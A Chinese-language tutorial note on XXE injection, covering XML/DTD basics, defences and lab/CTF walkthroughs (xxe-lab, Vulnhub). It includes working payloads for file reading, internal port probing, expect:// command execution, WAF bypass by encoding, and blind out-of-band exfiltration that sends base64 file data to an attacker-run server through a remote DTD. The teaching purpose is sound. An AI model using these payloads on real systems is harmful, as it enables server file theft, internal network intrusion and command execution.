关于XML知识点
- 解释
- XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。
- XXE漏洞全称XMLExternal Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。
- XML代码示例
-
- 各个语言相对应支持的协议
-
DTD
- 解释
- 文档类型定义(DTD)可定义合法的XML文档构建模块
它使用一系列合法的元素来定义文档的结构
DTD可被成行地声明于XML文档中,也可作为一个外部引用 - (1)内部的DOCTYPE声明
<!DOCTYPE 根元素 [元素声明]> - (2)外部文档声明
<!DOCTYPE 根元素 SYSTEM "文件名">
- 文档类型定义(DTD)可定义合法的XML文档构建模块
- DTD实体
- (1)内部实体声明
<!ENTITY 实体名称 "实体的值"> - (2)外部实体声明
<!ENTITY 实体名称 SYSTEM "URI"> - (3)参数实体声明
<!ENTITY %实体名称 "实体的值">
<!ENTITY %实体名称 SYSTEM "URI">
- (1)内部实体声明
漏洞代码使用方法
- 1.文件读取协议
- 代码:
- <?xml version = "1.0"?><!DOCTYPE ANY [<!ENTITY xxe SYSTEM "file:///c://test.txt">]><x>&xxe;</x>
//xxe为变量,读取test.txt
//打印出来
//用file协议读指定路径的文件
-
- 代码:
- 2.内网探针或攻击内网应用
- 代码:
- <?xml version = "1.0" encoding="UTF-8"?>
- <!DOCTYPE foo [
- <!ELEMENT foo ANY >
- <!ENTYTY rabbit SYSTEM "http://192.168.1.4:80/index.txt">
- ]>
- <x>&rabbit;</x>
- 上面的ip地址假设就是内网的一台服务器的ip地址,提交后当存在此ip以及端口文件则不会报错。还可以进行一个端口扫描,看一下端口是否开放。
-
- 代码:
- 3.引用外部实体DTD
- 代码:
- <?xml version = "1.0"?>
- <!DOCTYPE test [
- <!ENTITY % file SYSTEM "http://8.130.17.18/evil2.dtd">
- %file;
- ]>
- <x>&send;</x>
- 可以在远程攻击者服务器(127.0.0.1)上保存的evil2.dtd写上:
- evil2.dtd:
- <!ENTITY send SYSTEM "file:///d:/test.txt">
- evil2.dtd:
- 让对方服务器去访问外部的dtd文件。
- 可以让对方服务器去访问自己服务器上的dtd文件(自己服务器上的dtd文件根据需要自定义内容),从而到达读取等各种攻击。
- 条件:看对方的应用有没有禁用外部实体引用,这也是防御XXE的一种措施。
- 代码:
- 4.RCE4
- 代码 :
- <?xml version="1.0" ?>
- <!DOCTYPE ANY [
- <!ENTITY xxe SYSTEM "expect://id">
- ]>
- <x>&xxe;</x>
- 读CASE是在安装expect扩展的PHP环境里执行系统命令
- 代码 :
- 5.无回显读取文件
- 代码:
- <?xml version="1.0"?>
- <!DOCTYPE test [
- <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=d:/test.txt">
- <!ENTITY % dtd SYSTEM "http://sql.tmzo.club/test.dtd">
- %dtd;
- %send;
- ]>
- 本地192.168.0.103上构造test.dtd:
- <!ENTITY % payload
- "<!ENTITY % send SYSTEM 'http://192.168.0.103:8081/?data=%file;'>"
- >
- %payload;
- 上面的url一般是自己的网站,通过第一步访问文件,然后再访问dtd文件,把读取到的数据赋给data,然后我们只需要再自己的网站日志,或者写个php脚本保存下来,就能看到读取到的文件数据了。
- 解析:
- 1.通过php的filter协议读取d:/test.txt的文件内容赋值给变量%file
- 2.让对方服务器远程去访问自己服务器上的dtd文件
- 3.对方服务器访问到自己服务器的dtd文件后,让它通过get方式带着%file参数去访问自己服务器别的文件
- 4.通过日志文件查看get参数接收的值,进行base64解密
- 代码:
- 6.读文件(绕过)
- ENTITY``SYSTEM``file等关键词被过滤-->使用编码方式绕过:UTF-16BE
- cat payload.xml | iconv -f utf-8 -t utf-16be > payload.8-16be.xml
- http被过滤-->可以使用其他协议绕过,比如data://协议、file://协议加文件上传、php://filter协议加文件上传
- <?xml version = "1.0"?>
<!DOCTYPE ANY [ <!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php"> ]>
<x>&f;</x>
- <?xml version = "1.0"?>
- 绕过WAF保护的XXE-->
- 方法1:文档中的额外空格
方法2:格式无效
方法3:外来编码(Exotic encodings)
方法4:在一个文档中使用两种类型的编码
- 方法1:文档中的额外空格
- ENTITY``SYSTEM``file等关键词被过滤-->使用编码方式绕过:UTF-16BE
XXE漏洞的修复与防御方案-PHP,Java,Python-过滤及禁用
- 方案一:禁用外部实体
-
- 过滤用户提交的XML数据
- 过滤关键字:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC
案例演示
- 案例1:xxe-lab靶场登录框xml数据传输测试-检测发现
- 案例2:CTF-Jarvis-OJ-Web-XXE安全真题复现-数据请求格式
- 案例3:CTF-Vulnhub-XXE安全真题复现-检测,利用,拓展,实战
- 案例4:xxe安全漏洞自动化注射脚本工具-XXEinjector(Ruby)
案例1:xxe-lab靶场登录框xml数据传输测试-检测发现
- 如何检测发现xxe漏洞?
- 1.提交的数据包含xml格式如: <forgot><username>admin</username></forgot>
- 2.请求头中如:Content-Type: text/xml或Content-Type: application/xml
- 3.盲猜:更改content-type值application/xml看返回如何检测发现xxe漏洞?
- 靶场下载地址:https://github.com/c0ny1/xxe-lab
- 1.以xxe-lab靶场登录框为例,使用burp抓包时,可以右击send to Spider自动爬行网站,所有的网站数据包会在Proxy-History模块显示。
-
- 2.此时可以全局搜索xml关键字
-
- 3.也可以查看MIME type类型是否为XML,MIME type类型为XML对应Content-Type: text/xml或Content-Type: application/xml,对应内容形式如下:<user><username>2</username><password>2</password></user>
-
- 4.找到xxe漏洞点后,使用如下脚本攻击测试,成功读取到服务器上文件内容。
- <?xml version = "1.0"?>
<!DOCTYPE Mikasa [
<!ENTITY test SYSTEM "file:///d:/test.txt">
]>
<user><username>&test;</username><password>Mikasa</password></user>
- <?xml version = "1.0"?>
- 5.bp抓包进行修改(实验未成功)
-
案例2:CTF-Jarvis-OJ-Web-XXE安全真题复现-数据请求格式
案例3:CTF-Vulnhub-XXE安全真题复现-检测,利用,拓展,实战
- 靶场搭建教程:vulnhub-XXE漏洞靶机流程(图文+工具包)_年关的博客-CSDN博客_漏洞靶机
- 打开已经搭建好的靶场
- 参考:渗透:vulnhub-XXE 靶机_0d@y的博客-CSDN博客_xxe靶机
- 利用过程:扫描IP及端口-->扫描探测目录-->抓包探针xxe安全-->利用xxe读取源码-->flag指向文件-->base32 64解密-->php运行-->flag
- 1.在本机虚拟机环境安装靶场,靶场安装后,由于我们不知道用户名密码,无法进入(一般镜像环境不会告诉你用户名密码,防止你进入后直接查看后台源码);
-
- 2.使用kali自带的netdiscover,扫描本网段除kali的ip之外存活的ip就是xxe靶机的ip
- netdiscover -i eth0 -r 192.168.215.0/24
-
- 将上面的ip一个个试,最后发现http://192.168.215.134/是靶场IP,打开靶场
-
- netdiscover -i eth0 -r 192.168.215.0/24
- 3.漏洞查找
- 1.可以通过kali自带的dirb,扫描目录
-
- 2.robots.txt是搜索引擎中访问网站的时候要查看的第一个文件。robots.txt文件告诉蜘蛛程序在服务器上什么文件是可以被查看的。
-
- 3.打开192.168.49.151/xxe/
-
- 4.是一个登录页面,利用bp抓个包
-
- 5.右键send to repeater,既然是xxe靶机那就存在xxe漏洞,先试下读取/etc/passwd/
- 代码(记住这里容易出问题)
- <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [<!ELEMENT r ANY>
<!ENTITY admin SYSTEM
"file:///etc/passwd">]>
<root><name>&admin;</name><password>ujuj</password></root> -
- <?xml version="1.0" encoding="UTF-8"?>
- 我们发现读取成功
-
- 代码(记住这里容易出问题)
- 6.说明这里存在漏洞,我们可以读取admin.php文件源码
- 代码:
- <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [<!ELEMENT r ANY>
<!ENTITY admin SYSTEM
"php://filter/read=convert.base64-encode/resource=admin.php">]>
<root><name>&admin;</name><password>ujuj</password></root>
- <?xml version="1.0" encoding="UTF-8"?>
-
- 代码:
- 7.我们将获取到的base64解码
-
- 1.可以通过kali自带的dirb,扫描目录
- 3.我们获取到账号密码:administhebest // admin@123
- 4.登录账号,我们发现这里提示flag
-
- 5.我们点击打开,却报错,于是我们利用xxe.php,继续获取代码flagmeout.php
-
- 6.然后解密,我们得到flag的加密值,是base32位
-
- 7.用base32解密,得到base64加密值,再次解密得到:/etc/.flag.php
- 8.我们继续读取这个文件
- 代码:
- <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [<!ELEMENT r ANY>
<!ENTITY admin SYSTEM
"php://filter/read=convert.base64-encode/resource=/etc/.flag.php">]>
<root><name>&admin;</name><password>ujuj</password></root>
- <?xml version="1.0" encoding="UTF-8"?>
-
- 代码:
- 9.我们解密得到的是看不懂的代码
-
- 10.我们直接放在服务器上运行
-
- 11.运行结果得到flag
-
案例4:xxe安全漏洞自动化注射脚本工具-XXEinjector(Ruby)
- XXEinjector是一款基于Ruby的XXE注入工具,它可以使用多种直接或间接带外方法来检索文件。其中,目录枚举功能只对Java应用程序有效,而暴力破解攻击需要使用到其他应用程序。
- XXEinjector下载地址:https://github.com/enjoiz/XXEinjector
- 参考:XXEinjector全过程安装详细和使用教程_星语惜馨的博客-CSDN博客
- 运行前提:Ruby运行环境,建议在kali环境下运行。
- 基本参数详解
-
- XXEinjector使用样例
-
相关链接: